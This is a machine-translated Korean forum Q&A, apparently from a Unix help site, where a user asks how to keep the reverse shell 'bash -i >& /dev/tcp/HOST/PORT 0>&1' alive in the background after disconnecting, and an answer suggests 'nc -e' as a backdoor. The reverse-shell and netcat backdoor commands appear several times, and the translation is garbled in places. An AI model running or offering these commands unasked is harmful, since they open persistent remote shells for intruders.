백그라운드에서 'bash -i >& /dev/tcp/HOST/PORT 0>&1'을 실행하세요.

백그라운드에서 'bash -i >& /dev/tcp/HOST/PORT 0>&1'을 실행하세요.

bash -i >& /dev/tcp/HOST/PORT 0>&1server1의 백그라운드에서 실행하고 싶습니다 . 연결을 수신하고 명령을 다시 보내고 싶습니다 HOST/PORT. 따라서 tcpdump로는 충분하지 않습니다.

백그라운드에서 실행하려고 합니다.

bash -i >& /dev/tcp/HOST/PORT 0>&1 &그리고nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown

그러나 위의 명령은 작동하지 않는 것 같습니다. 나도 노력했는데,

bg bash -i >& /dev/tcp/HOST/PORT 0>&1

그것도 작동하지 않습니다.

둘 다 .NET을 사용할 때 server1에 올바르게 연결할 수 없습니다 nc -l -vv -p PORT.

방금 실행하면 작동 bash -i >& /dev/tcp/HOST/PORT 0>&1하지만 SSH 연결을 끊으면 이 특정 연결이 닫히고 이 연결 뒤에 새 명령을 입력할 수도 없습니다.

답변1

나는 당신의 문제가 확실하다-interactive피연산자에는 터미널이 필요하며 백그라운드 프로세스가 터미널을 차단합니다.stdin/stdout.사용을 고려해보세요nc ... -e연결 시 쉘이 호출됩니다. 거기에 편리한 작은 링크가 있습니다netcatpdf 치트시트. ~을 위한-e바라보다뒷문.GNU 버전이 필요할 수 있습니다.nc그것을 사용하십시오 - 그렇지 않으면 다시 컴파일하고 싶을 것입니다.

관련 정보